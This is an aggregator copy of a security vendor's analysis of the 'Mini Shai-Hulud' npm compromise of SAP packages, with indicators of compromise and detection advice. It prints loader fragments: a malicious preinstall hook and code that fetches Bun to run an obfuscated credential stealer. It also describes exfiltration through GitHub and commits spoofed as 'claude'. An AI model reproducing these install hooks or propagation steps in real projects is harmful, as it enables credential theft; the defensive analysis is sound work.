惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

G
Google Developers Blog
博客园 - 三生石上(FineUI控件)
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
MongoDB | Blog
MongoDB | Blog
小众软件
小众软件
Y
Y Combinator Blog
博客园 - 聂微东
Google DeepMind News
Google DeepMind News
D
Docker
罗磊的独立博客
Microsoft Security Blog
Microsoft Security Blog
D
DataBreaches.Net
B
Blog
Vercel News
Vercel News
Recent Announcements
Recent Announcements
GbyAI
GbyAI
阮一峰的网络日志
阮一峰的网络日志
T
The Blog of Author Tim Ferriss
H
Hackread – Cybersecurity News, Data Breaches, AI and More
P
Proofpoint News Feed
酷 壳 – CoolShell
酷 壳 – CoolShell
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Microsoft Azure Blog
Microsoft Azure Blog
宝玉的分享
宝玉的分享

Aikido Security's Blog

GlassWorm goes native: New Zig dropper infects every IDE on your machine Aikido Attack finds multiple 0-days in Hoppscotch The cybersecurity doomerism around Mythos doesn't match what we see on the ground axios compromised on npm: maintainer account hijacked, RAT deployed Popular telnyx package compromised on PyPI by TeamPCP Aikido × Lovable: Vibe, Fix, Ship CanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran TeamPCP deploys CanisterWorm on NPM following Trivy compromise Security testing is validating software that no longer exists Aikido Recognized by Frost & Sullivan with the 2026 Customer Value Leadership Award in ASPM GlassWorm Hides a RAT Inside a Malicious Chrome Extension fast-draft Open VSX Extension Compromised by BlokTrooper Glassworm Strikes Popular React Native Phone Number Packages Glassworm Is Back: A New Wave of Invisible Unicode Attacks Hits Hundreds of Repositories How Security Teams Fight Back Against AI-Powered Hackers Introducing Betterleaks, an open source secrets scanner by the author of Gitleaks Trump’s 2026 cybersecurity strategy: From compliance to consequence How does AI pentesting work with compliance? What continuous pentesting actually requires Rare Not Random: Using Token Efficiency for Secrets Scanning Persistent XSS/RCE using WebSockets in Storybook’s dev server Why Determinism Is Still a Necessity in Security WAF vs. RASP vs. ADR Introducing Aikido Infinite: A new model of self-securing software How Aikido secures AI pentesting agents by design Astro Full-Read SSRF via Host Header Injection How to Get Your Board to Care About Security (Before a Breach Forces the Issue) What is Slopsquatting? The AI Package Hallucination Attack Already Happening SvelteSpill: A Cache Deception Bug in SvelteKit + Vercel Top 6 Wiz Code Alternatives
Mini Shai-Hulud Targets SAP npm Packages With a Bun-Based...
Raphael Silva · 2026-04-29 · via Aikido Security's Blog

A new npm supply-chain compromise is targeting the SAP developer ecosystem.

The affected packages we are tracking so far are:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48

The pattern is familiar but also a bit different: a trusted package receives a new preinstall hook, the hook runs a new setup.mjs file, and that loader downloads the Bun JavaScript runtime to execute a large obfuscated payload named execution.js.

The payload is an 11.7 MB credential stealer and propagation framework. It harvests local developer credentials, GitHub and npm tokens, GitHub Actions secrets, and cloud secrets from AWS, Azure, GCP, and Kubernetes. It then exfiltrates encrypted results through public GitHub repositories.

The malware names those repositories with a hardcoded description:

A Mini Shai-Hulud has Appeared

What Happened

The compromised packages use npm lifecycle execution. In what we’ve seen so far, package.json was modified to add:

"scripts": {
    "preinstall": "node setup.mjs"
}

That means the malicious code runs automatically during npm install, before the install has even completed.

The malicious package adds two files:

  • setup.mjs
  • execution.js

The normal package code still looks like the legitimate SAP package. In the @cap-js/sqlite@2.2.2 sample, the ordinary files match clean @cap-js/sqlite@2.2.1 byte-for-byte. The compromise is the install hook plus the added payload files.

Likely Entry Point

A public lead points to a likely cause: an npm token exposed to pull request builds through CircleCI.

That lines up with what we found in SAP/cloud-mta-build-tool. On April 29, a short-lived draft PR titled feat: ci speedup was opened from gruposbftechrecruiter/harkonnen-navigator-149. The PR was closed within minutes and the branch was later force-pushed, leaving the current GitHub diff empty.

CircleCI still kept the important part. A PR build on pull/1223 checked out commit a959014aa7b7fc37a9b5730c951776e7db2920a6, which added a Bun loader at bin/config.mjs, added an obfuscated payload at bin/mbt.js, and changed the test command to:

node ./bin/config.mjs && node ./bin/mbt

That test ran in a PR job where CircleCI listed redacted project secrets, including CLOUD_MTA_BOT_NPM_TOKEN, CLOUD_MTA_BOT_GITHUB_TOKEN, CircleCI OIDC tokens, Docker Hub credentials, Cloud Foundry credentials, and other release-related variables.

The logs also showed Octokit warnings for POST https://api.github.com/user/repos, which matches the malware's GitHub exfiltration behavior.

This makes the CircleCI PR build the strongest lead for the initial credential theft.

How The Malware Runs

The first stage, setup.mjs, is a Bun bootstrapper. It checks the operating system and architecture, downloads Bun 1.3.13 from GitHub when needed, extracts the binary, and uses Bun to run execution.js.

const BUN_VERSION = '1.3.13';
const ENTRY_SCRIPT = 'execution.js';
const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
execFileSync(binPath, [entryScriptPath], { stdio: 'inherit', cwd: SCRIPT_DIR });

The second stage, execution.js, is a single large obfuscated payload. It uses a custom string scrambling layer labeled ctf-scramble-v2, checks whether it is running in CI, exits on Russian locale settings, and daemonizes itself on non-CI machines.

What It Steals

The payload is built to hit both developer laptops and CI/CD runners.

It attempts to collect:

  • GitHub tokens, including output from gh auth token
  • npm tokens from .npmrc
  • environment variables
  • GitHub Actions secrets
  • AWS STS identity, Secrets Manager secrets, and SSM parameters
  • Azure subscriptions, Key Vault names, and Key Vault secret values
  • GCP project identity and Secret Manager values
  • Kubernetes service account tokens
  • Claude config, MCP config, GCP token databases, Azure token caches, Signal config, Electrum wallets, and VPN config files

The GitHub Actions path is especially concerning. The payload includes an embedded Python helper that searches /proc for the Runner.Worker process, reads its memory, and extracts masked secret structures from the runner.

GitHub Exfiltration And Propagation Keyword

The malware uses GitHub as its exfiltration channel.

The new propagation keyword is:

OhNoWhatsGoingOnWithGitHub

The malware searches GitHub commits for this string and uses matching commit messages as a token dead-drop. Commit messages matching OhNoWhatsGoingOnWithGitHub:<base64> are decoded into GitHub tokens and checked for repository access.

When the malware can create a repository, it uses randomized Dune-themed names, sets the repository description to:

A Mini Shai-Hulud has Appeared

and writes encrypted result files under:

results/results-<timestamp>-<counter>.json

The data is compressed and encrypted before commit using AES-256-GCM, with the AES key wrapped by an embedded RSA public key.

Propagation Logic

The payload contains logic for spreading through developer and release workflows.

In the analyzed samples, the malware checks for GitHub Actions release automation related to cap-js/cds-dbs. If it sees a release workflow in that repository context, it can modify a package tarball by:

  • copying the current payload into execution.js
  • writing setup.mjs
  • setting scripts.preinstall = "node setup.mjs"
  • incrementing the patch version
  • repacking the tarball

It also attempts to use stolen GitHub Actions tokens to push files into repositories:

  • .vscode/tasks.json
  • .vscode/setup.mjs
  • .claude/execution.js
  • .claude/setup.mjs
  • .claude/settings.json

Those commits use:

chore: update dependencies

with the author:

claude <claude@users.noreply.github.com>

SAP As a Target

The targeted packages sit in normal SAP development workflows. @cap-js/sqlite, @cap-js/postgres, and @cap-js/db-service are part of the SAP CAP database ecosystem, while mbt is used around SAP Cloud MTA build workflows.

That makes this campaign small in package count but potentially high impact. These packages are likely to run on developer machines and CI runners that have access to GitHub, npm, cloud credentials, and enterprise deployment secrets.

Detection And Mitigation

Search lockfiles, package caches, CI logs, internal registries, artifact stores, and developer machines for:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48
  • setup.mjs
  • execution.js
  • preinstall scripts running node setup.mjs
  • Bun 1.3.13 downloads during package installation

Search GitHub for:

  • commit search results for OhNoWhatsGoingOnWithGitHub: https://github.com/search?q=OhNoWhatsGoingOnWithGitHub&type=commits
  • repositories with description A Mini Shai-Hulud has Appeared
  • commits containing OhNoWhatsGoingOnWithGitHub
  • commits titled chore: update dependencies
  • commits authored by claude <claude@users.noreply.github.com>
  • unexpected .claude/ or .vscode/setup.mjs files
  • results/results-*.json files in newly created public repositories

If any affected package was installed, rotate secrets. Do not limit rotation to npm tokens. The payload targets GitHub, npm, cloud providers, Kubernetes, CI secrets, and local developer tooling.

How Aikido Detects This

If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.

If you are not yet an Aikido user, you can create an account and connect your repos. Our malware coverage is included in the free plan, no credit card required.

For broader coverage across your whole team, Aikido's Endpoint Protection gives you visibility and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed.

For future protection, consider Aikido Safe Chain (open source). Safe Chain sits in your existing workflow, intercepting npm, npx, yarn, pnpm, and pnpx commands and checking packages against Aikido Intel before install.

Indicators Of Compromise

Affected packages:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48

Hashes from the analyzed @cap-js/sqlite@2.2.2 sample:

  • setup.mjs: 4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34
  • execution.js: 6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95
  • embedded GitHub runner memory dumper: 29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7

Strings and markers:

  • A Mini Shai-Hulud has Appeared
  • OhNoWhatsGoingOnWithGitHub (propagation keyword / GitHub commit dead-drop marker)
  • ctf-scramble-v2
  • tmp.987654321.lock
  • chore: update dependencies
  • claude@users.noreply.github.com

URLs and endpoints:

  • hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
  • hxxps://api.github[.]com/search/commits?q=OhNoWhatsGoingOnWithGitHub&sort=author-date&order=desc&per_page=50
  • hxxp://169.254.169.254
  • hxxp://169.254.170.2
  • hxxp://[fd00:ec2::254]